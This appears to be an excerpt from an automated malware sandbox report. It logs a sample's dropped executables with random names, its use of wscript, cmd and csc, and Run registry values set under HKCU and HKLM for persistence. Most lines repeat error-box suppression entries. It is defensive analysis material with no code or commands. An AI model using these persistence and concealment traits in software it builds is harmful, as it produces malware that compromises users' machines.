Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Process information set: NOOPENFILEERRORBOX
